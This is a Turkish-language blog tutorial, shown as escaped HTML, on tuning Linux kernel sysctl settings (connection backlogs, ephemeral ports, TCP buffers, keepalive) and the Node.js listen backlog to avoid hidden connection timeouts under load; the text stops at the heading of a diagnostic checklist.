Y&amp;uuml;k jenerat&amp;ouml;r&amp;uuml; saniyede 2000 iste&amp;gbreve;i vuruyor, Node.js sunucusunun CPU kullan&amp;inodot;m&amp;inodot; ise %30'u bile ge&amp;ccedil;miyor. Event loop canavar gibi, &amp;ccedil;&amp;ouml;p toplay&amp;inodot;c&amp;inodot; (GC) sessiz sakin, hata logu s&amp;inodot;f&amp;inodot;r. Ama gelin g&amp;ouml;r&amp;uuml;n ki, y&amp;uuml;k testi raporunda %3'l&amp;uuml;k bir ba&amp;gbreve;lant&amp;inodot; zaman a&amp;scedil;&amp;inodot;m&amp;inodot; (connection timeout) g&amp;ouml;r&amp;uuml;n&amp;uuml;yor. &amp;Uuml;stelik di&amp;gbreve;er servislerden de ara s&amp;inodot;ra gelen o me&amp;scedil;hur "socket hang up" hatalar&amp;inodot; can s&amp;inodot;kmaya ba&amp;scedil;lad&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Uygulama loglar&amp;inodot;na bak&amp;inodot;yorsun, yaprak k&amp;inodot;p&amp;inodot;rdam&amp;inodot;yor. Metrik ekranlar&amp;inodot; yemye&amp;scedil;il. &amp;Idot;nsan kendini bir hayaletle sava&amp;scedil;&amp;inodot;yor gibi hissediyor. Ta ki sunucuda &lt;code&gt;ss -s&lt;/code&gt; komutunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;p &lt;code&gt;TIME_WAIT&lt;/code&gt; durumunda bekleyen k&amp;inodot;rk bin adet soket g&amp;ouml;rene ya da &lt;code&gt;dmesg&lt;/code&gt; loglar&amp;inodot;nda &lt;code&gt;TCP: request_sock_TCP: Possible SYN flooding on port 3000&lt;/code&gt; uyar&amp;inodot;s&amp;inodot;n&amp;inodot; yakalayana kadar... &amp;Ccedil;ekirdek (kernel) sizin trafi&amp;gbreve;inizle gizli bir sava&amp;scedil;a girmi&amp;scedil; ve maalesef kazanm&amp;inodot;&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Bu tarz hatalar&amp;inodot; uygulama seviyesinde profil &amp;ccedil;&amp;inodot;kararak (profiling) asla g&amp;ouml;remezsiniz. &amp;Ccedil;&amp;uuml;nk&amp;uuml; Linux &amp;ccedil;ekirde&amp;gbreve;i, varsay&amp;inodot;lan olarak h&amp;acirc;l&amp;acirc; 2005 y&amp;inodot;l&amp;inodot;ndaki bir masa&amp;uuml;st&amp;uuml; bilgisayara g&amp;ouml;re yap&amp;inodot;land&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; ayarlarla geliyor. Oysa biz 2026 y&amp;inodot;l&amp;inodot;nda, bir y&amp;uuml;k dengeleyici (load balancer) arkas&amp;inodot;nda ko&amp;scedil;an Node.js konteynerlerinden bahsediyoruz. Bu yaz&amp;inodot;da, bu gizli t&amp;inodot;kan&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot; a&amp;scedil;mak i&amp;ccedil;in el at&amp;inodot;lmas&amp;inodot; gereken 4 temel sysctl ailesini ve &amp;ccedil;o&amp;gbreve;u ekibin atlad&amp;inodot;&amp;gbreve;&amp;inodot; o kritik Node.js ayar&amp;inodot;n&amp;inodot; masaya yat&amp;inodot;r&amp;inodot;yoruz.&lt;/p&gt;
&lt;h2 id="1-baglant-kuyruklar-syn-backlog-ve-accept-queue"&gt;1. Ba&amp;gbreve;lant&amp;inodot; Kuyruklar&amp;inodot;: SYN Backlog ve Accept Queue&lt;a class="headerlink" href="#1-baglant-kuyruklar-syn-backlog-ve-accept-queue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bir istemci Node.js sunucunuza TCP ba&amp;gbreve;lant&amp;inodot;s&amp;inodot; a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;nda, uygulama seviyesindeki &lt;code&gt;server.on('connection', ...)&lt;/code&gt; olay&amp;inodot; tetiklenmeden &amp;ouml;nce &amp;ccedil;ekirdekte &amp;uuml;&amp;ccedil; a&amp;scedil;amal&amp;inodot; bir el s&amp;inodot;k&amp;inodot;&amp;scedil;ma ger&amp;ccedil;ekle&amp;scedil;ir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;Idot;stemci bir &lt;code&gt;SYN&lt;/code&gt; paketi g&amp;ouml;nderir.&lt;/li&gt;
&lt;li&gt;&amp;Ccedil;ekirdek, SYN backlog kuyru&amp;gbreve;unda yer ay&amp;inodot;r&amp;inodot;r, &lt;code&gt;SYN-ACK&lt;/code&gt; ile yan&amp;inodot;t d&amp;ouml;ner ve istemciden gelecek son &lt;code&gt;ACK&lt;/code&gt; paketini bekler.&lt;/li&gt;
&lt;li&gt;El s&amp;inodot;k&amp;inodot;&amp;scedil;ma tamamland&amp;inodot;&amp;gbreve;&amp;inodot;nda soket &lt;code&gt;accept&lt;/code&gt; kuyru&amp;gbreve;una (accept queue) ta&amp;scedil;&amp;inodot;n&amp;inodot;r. Node.js, event loop'un bir sonraki d&amp;ouml;ng&amp;uuml;s&amp;uuml;nde &lt;code&gt;accept()&lt;/code&gt; &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;n&amp;inodot; yapar ve ba&amp;gbreve;lant&amp;inodot; event'ini tetirler.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;E&amp;gbreve;er bu kuyruklardan biri dolarsa, &amp;ccedil;ekirdek gelen paketleri bodoslama &amp;ccedil;&amp;ouml;pe atar. &amp;Idot;stemci zaman a&amp;scedil;&amp;inodot;m&amp;inodot;na u&amp;gbreve;ray&amp;inodot;p tekrar dener. Uygulaman&amp;inodot;z ise ba&amp;gbreve;lant&amp;inodot; sunucuya hi&amp;ccedil; ula&amp;scedil;mad&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in hi&amp;ccedil;bir hata loglayamaz. Bu durum d&amp;inodot;&amp;scedil;ar&amp;inodot;dan bak&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda istikrars&amp;inodot;z bir a&amp;gbreve; sorunu gibi g&amp;ouml;r&amp;uuml;n&amp;uuml;r ama asl&amp;inodot;nda &amp;ccedil;ekirde&amp;gbreve;in kapasite limitidir.&lt;/p&gt;
&lt;p&gt;Varsay&amp;inodot;lan olarak Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot;nda &lt;code&gt;net.core.somaxconn&lt;/code&gt; de&amp;gbreve;eri 128 veya 4096'd&amp;inodot;r. Kula&amp;gbreve;a b&amp;uuml;y&amp;uuml;k gelebilir ama y&amp;uuml;k dengeleyici arkas&amp;inodot;ndaki konteynerler yeniden ba&amp;scedil;lad&amp;inodot;&amp;gbreve;&amp;inodot;nda veya bir "connection storm" (ba&amp;gbreve;lant&amp;inodot; f&amp;inodot;rt&amp;inodot;nas&amp;inodot;) ya&amp;scedil;and&amp;inodot;&amp;gbreve;&amp;inodot;nda bu kuyruklar saniyeler i&amp;ccedil;inde patlar.&lt;/p&gt;
&lt;h3 id="cekirdegi-ikna-etmek-ve-nodejsteki-o-gizli-parametre"&gt;&amp;Ccedil;ekirde&amp;gbreve;i &amp;Idot;kna Etmek ve Node.js'teki O Gizli Parametre&lt;a class="headerlink" href="#cekirdegi-ikna-etmek-ve-nodejsteki-o-gizli-parametre" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;nce ayar&amp;inodot;m&amp;inodot;z&amp;inodot; &amp;ccedil;ekelim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.core.somaxconn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_max_syn_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ancak &amp;ccedil;ekirdek seviyesinde bu ayar&amp;inodot; de&amp;gbreve;i&amp;scedil;tirmek sava&amp;scedil;&amp;inodot; tek ba&amp;scedil;&amp;inodot;na kazand&amp;inodot;rmaz hac&amp;inodot;. Node.js, HTTP sunucusunu aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;rken varsay&amp;inodot;lan olarak &lt;code&gt;511&lt;/code&gt; s&amp;inodot;n&amp;inodot;r&amp;inodot;yla (backlog) dinleme yapar. E&amp;gbreve;er sunucuyu ba&amp;scedil;lat&amp;inodot;rken &lt;code&gt;listen&lt;/code&gt; fonksiyonuna bu backlog s&amp;inodot;n&amp;inodot;r&amp;inodot;n&amp;inodot; vermezseniz, &amp;ccedil;ekirde&amp;gbreve;in kuyruk limitini 65535 yapsan&amp;inodot;z bile Node.js yine 511 s&amp;inodot;n&amp;inodot;r&amp;inodot;na tak&amp;inodot;l&amp;inodot;r!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;createServer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'node:http'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;createServer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ok'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// backlog de&amp;gbreve;erini &amp;ccedil;ekirdek ayar&amp;inodot;m&amp;inodot;zla e&amp;scedil;itleyip 65535 yap&amp;inodot;yoruz&lt;/span&gt;
&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'backlog 65535 ile dinleniyor...'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ayar&amp;inodot;n tutup tutmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; canl&amp;inodot;da g&amp;ouml;rmek i&amp;ccedil;in &amp;scedil;u komutu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-lnt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;Send-Q&lt;/code&gt; (kuyruk kapasitesi) s&amp;uuml;tunu h&amp;acirc;l&amp;acirc; &lt;code&gt;511&lt;/code&gt; g&amp;ouml;steriyorsa, ya Node.js uygulamas&amp;inodot;n&amp;inodot; yeniden ba&amp;scedil;latmay&amp;inodot; unuttunuz ya da koddaki &lt;code&gt;listen&lt;/code&gt; &amp;ccedil;a&amp;gbreve;r&amp;inodot;s&amp;inodot;na bu de&amp;gbreve;eri vermediniz demektir.&lt;/p&gt;
&lt;h2 id="2-istemci-tarafnda-port-tukenmesi-ephemeral-port-exhaustion_1"&gt;2. &amp;Idot;stemci Taraf&amp;inodot;nda Port T&amp;uuml;kenmesi (Ephemeral Port Exhaustion)&lt;a class="headerlink" href="#2-istemci-tarafnda-port-tukenmesi-ephemeral-port-exhaustion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bizim Node.js servisimiz sadece istek kar&amp;scedil;&amp;inodot;lam&amp;inodot;yor; yeri geliyor veri taban&amp;inodot;na ba&amp;gbreve;lan&amp;inodot;yor, yeri geliyor di&amp;gbreve;er mikroservislere veya d&amp;inodot;&amp;scedil; API'lere istek at&amp;inodot;yor. Her d&amp;inodot;&amp;scedil; TCP ba&amp;gbreve;lant&amp;inodot;s&amp;inodot;, varsay&amp;inodot;lan olarak &lt;code&gt;32768-60999&lt;/code&gt; aral&amp;inodot;&amp;gbreve;&amp;inodot;ndan (yani yakla&amp;scedil;&amp;inodot;k 28.000 porttan) ge&amp;ccedil;ici bir port (ephemeral port) rezerve eder.&lt;/p&gt;
&lt;p&gt;&amp;Ouml;zellikle k&amp;inodot;sa &amp;ouml;m&amp;uuml;rl&amp;uuml; (short-lived) isteklerin tavan yapt&amp;inodot;&amp;gbreve;&amp;inodot; yo&amp;gbreve;un anlarda, ba&amp;gbreve;lant&amp;inodot; kapansa bile portlar 2 dakika boyunca (&lt;code&gt;tcp_fin_timeout&lt;/code&gt; s&amp;uuml;resince) &lt;code&gt;TIME_WAIT&lt;/code&gt; durumunda as&amp;inodot;l&amp;inodot; kal&amp;inodot;r. Port havuzu t&amp;uuml;kendi&amp;gbreve;inde, uygulaman&amp;inodot;z d&amp;inodot;&amp;scedil;ar&amp;inodot;ya istek atamaz ve terminale &lt;code&gt;EADDRNOTAVAIL&lt;/code&gt; hatas&amp;inodot; d&amp;uuml;&amp;scedil;er. Kar&amp;scedil;&amp;inodot; servis &amp;ccedil;&amp;ouml;km&amp;uuml;&amp;scedil; gibi g&amp;ouml;r&amp;uuml;n&amp;uuml;r ama asl&amp;inodot;nda kendi &amp;ccedil;ekirde&amp;gbreve;iniz nefessiz kalm&amp;inodot;&amp;scedil;t&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Bunu a&amp;scedil;mak i&amp;ccedil;in port aral&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; geni&amp;scedil;letip portlar&amp;inodot;n g&amp;uuml;venli &amp;scedil;ekilde yeniden kullan&amp;inodot;m&amp;inodot;n&amp;inodot; aktif ediyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.ipv4.ip_local_port_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1024 65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_tw_reuse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;tcp_tw_reuse&lt;/code&gt; sayesinde &amp;ccedil;ekirdek, zaman damgalar&amp;inodot;n&amp;inodot; kullanarak &lt;code&gt;TIME_WAIT&lt;/code&gt; durumundaki soketleri g&amp;uuml;venli bir &amp;scedil;ekilde yeni giden ba&amp;gbreve;lant&amp;inodot;lar i&amp;ccedil;in tekrar kullanabilir.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Kritik Uyar&amp;inodot;: tcp_tw_recycle Ayar&amp;inodot;na Dokunmay&amp;inodot;n!&lt;/p&gt;
&lt;p&gt;&amp;Idot;nternetteki 10 y&amp;inodot;ll&amp;inodot;k eski blog yaz&amp;inodot;lar&amp;inodot;na aldan&amp;inodot;p sak&amp;inodot;n &lt;code&gt;tcp_tw_recycle&lt;/code&gt; parametresini a&amp;ccedil;may&amp;inodot;n hac&amp;inodot;. Bu ayar NAT (Network Address Translation) arkas&amp;inodot;ndan gelen istemcilerde ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot;n rastgele d&amp;uuml;&amp;scedil;mesine neden oldu&amp;gbreve;u i&amp;ccedil;in Linux 4.12 s&amp;uuml;r&amp;uuml;m&amp;uuml;nde &amp;ccedil;ekirdekten tamamen s&amp;ouml;k&amp;uuml;l&amp;uuml;p at&amp;inodot;ld&amp;inodot;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Port durumunu anl&amp;inodot;k izlemek i&amp;ccedil;in &amp;scedil;u tek sat&amp;inodot;rl&amp;inodot;k komutu kullanabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-tan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{print $4}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d:&lt;span class="w"&gt; &lt;/span&gt;-f2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sort&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;uniq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sort&lt;span class="w"&gt; &lt;/span&gt;-rn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="3-daha-yuksek-veri-aks-icin-bellek-tamponlar-tcp-buffers"&gt;3. Daha Y&amp;uuml;ksek Veri Ak&amp;inodot;&amp;scedil;&amp;inodot; &amp;Idot;&amp;ccedil;in Bellek Tamponlar&amp;inodot; (TCP Buffers)&lt;a class="headerlink" href="#3-daha-yuksek-veri-aks-icin-bellek-tamponlar-tcp-buffers" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Node.js &amp;uuml;zerindeki ak&amp;inodot;&amp;scedil;lar&amp;inodot;n (streams) y&amp;uuml;ksek bant geni&amp;scedil;li&amp;gbreve;inde t&amp;inodot;kanmadan &amp;ccedil;al&amp;inodot;&amp;scedil;abilmesi i&amp;ccedil;in &amp;ccedil;ekirde&amp;gbreve;in bellek tamponlar&amp;inodot;nda yeterli alan olmal&amp;inodot;d&amp;inodot;r. E&amp;gbreve;er &lt;code&gt;rmem_max&lt;/code&gt; ve &lt;code&gt;wmem_max&lt;/code&gt; de&amp;gbreve;erleri d&amp;uuml;&amp;scedil;&amp;uuml;k kal&amp;inodot;rsa, &amp;ccedil;ekirdek daha k&amp;uuml;&amp;ccedil;&amp;uuml;k bir TCP penceresi (TCP window) anons eder ve y&amp;uuml;ksek h&amp;inodot;zl&amp;inodot; ba&amp;gbreve;lant&amp;inodot;lar bile hak etti&amp;gbreve;i performans&amp;inodot; veremez. Konteyner ortamlar&amp;inodot;ndaki sanal a&amp;gbreve; k&amp;ouml;pr&amp;uuml;leri (veth bridge) bu duruma ekstra y&amp;uuml;k bindirir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.core.rmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.wmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_rmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 87380 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_wmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 65536 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.netdev_max_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Buradaki &amp;uuml;&amp;ccedil;l&amp;uuml; de&amp;gbreve;erler s&amp;inodot;ras&amp;inodot;yla minimum, varsay&amp;inodot;lan ve maksimum tampon boyutlar&amp;inodot;n&amp;inodot; (byte cinsinden) belirler. &amp;Ccedil;ekirdek, a&amp;gbreve; gecikmesine ve veri ak&amp;inodot;&amp;scedil;&amp;inodot;na g&amp;ouml;re tamponu dinamik olarak &amp;ouml;l&amp;ccedil;eklendirir. 16 MiB'l&amp;inodot;k tavan s&amp;inodot;n&amp;inodot;r&amp;inodot;, bo&amp;scedil;ta bekleyen ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot;n belle&amp;gbreve;i s&amp;ouml;m&amp;uuml;rmesini engellerken yo&amp;gbreve;un veri ak&amp;inodot;&amp;scedil;&amp;inodot;nda can simidi olur.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netdev_max_backlog&lt;/code&gt; ise a&amp;gbreve; kart&amp;inodot; (NIC) seviyesindeki paket kuyru&amp;gbreve;unu kontrol eder. E&amp;gbreve;er a&amp;gbreve; kart&amp;inodot;na gelen paketler &amp;ccedil;ekirde&amp;gbreve;in bunlar&amp;inodot; kullan&amp;inodot;c&amp;inodot; alan&amp;inodot;na (userspace) teslim etme h&amp;inodot;z&amp;inodot;ndan daha h&amp;inodot;zl&amp;inodot; y&amp;inodot;&amp;gbreve;&amp;inodot;l&amp;inodot;yorsa, paketler do&amp;gbreve;rudan a&amp;gbreve; kart&amp;inodot;nda &amp;ccedil;&amp;ouml;pe gider. Bunu &lt;code&gt;ethtool -S eth0 | grep rx_missed_errors&lt;/code&gt; veya &lt;code&gt;ifconfig&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;ndaki RX errors alan&amp;inodot;ndan takip edebilirsiniz.&lt;/p&gt;
&lt;h2 id="4-atl-soketlerin-hzlca-temizlenmesi-tcp-keepalive"&gt;4. At&amp;inodot;l Soketlerin H&amp;inodot;zl&amp;inodot;ca Temizlenmesi (TCP Keepalive)&lt;a class="headerlink" href="#4-atl-soketlerin-hzlca-temizlenmesi-tcp-keepalive" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Rolling update (kesintisiz g&amp;uuml;ncelleme) esnas&amp;inodot;nda veya NAT a&amp;gbreve; ge&amp;ccedil;idindeki kesintilerde, istemci veya sunucu taraflar&amp;inodot; ba&amp;gbreve;lant&amp;inodot;n&amp;inodot;n koptu&amp;gbreve;unu anlayamayabilir. Bu durumda soketler "yar&amp;inodot; a&amp;ccedil;&amp;inodot;k" (half-open) &amp;scedil;ekilde as&amp;inodot;l&amp;inodot; kal&amp;inodot;r. Linux'un varsay&amp;inodot;lan Keepalive s&amp;uuml;resi tam 2 saattir hac&amp;inodot;. &amp;Ouml;l&amp;uuml; bir soketin 2 saat boyunca ba&amp;gbreve;lant&amp;inodot; havuzunuzu me&amp;scedil;gul etmesi sunucu kaynaklar&amp;inodot;n&amp;inodot;n bo&amp;scedil; yere t&amp;uuml;kenmesi demektir.&lt;/p&gt;
&lt;p&gt;S&amp;uuml;reyi daha insani s&amp;inodot;n&amp;inodot;rlara &amp;ccedil;ekiyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.ipv4.tcp_keepalive_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_intvl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_probes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu ayarla birlikte, 60 saniye boyunca hi&amp;ccedil; veri ge&amp;ccedil;meyen sokete 10 saniye aral&amp;inodot;klarla 6 kez kontrol paketi (probe) g&amp;ouml;nderilir. E&amp;gbreve;er kar&amp;scedil;&amp;inodot; taraftan ses &amp;ccedil;&amp;inodot;kmazsa, yakla&amp;scedil;&amp;inodot;k 2 dakika i&amp;ccedil;inde ba&amp;gbreve;lant&amp;inodot;n&amp;inodot;n &amp;ouml;ld&amp;uuml;&amp;gbreve;&amp;uuml; anla&amp;scedil;&amp;inodot;l&amp;inodot;r ve havuzdan temizlenir. Tabii bu ayar&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; i&amp;ccedil;in Node.js taraf&amp;inodot;nda da HTTP Agent kullan&amp;inodot;rken &lt;code&gt;keepAlive: true&lt;/code&gt; ayar&amp;inodot;n&amp;inodot;n a&amp;ccedil;&amp;inodot;k olmas&amp;inodot; gerekir&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="hangi-limana-carptgn-teshis-etmek-hzl-kontrol-listesi"&gt;Hangi Limana &amp;Ccedil;arpt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; Te&amp;scedil;his Etmek (H&amp;inodot;zl&amp;inodot; Kontrol Listesi)&lt;a class="headerlink" href="#hangi-limana-carptgn-teshis-etmek-hzl-kontrol-listesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
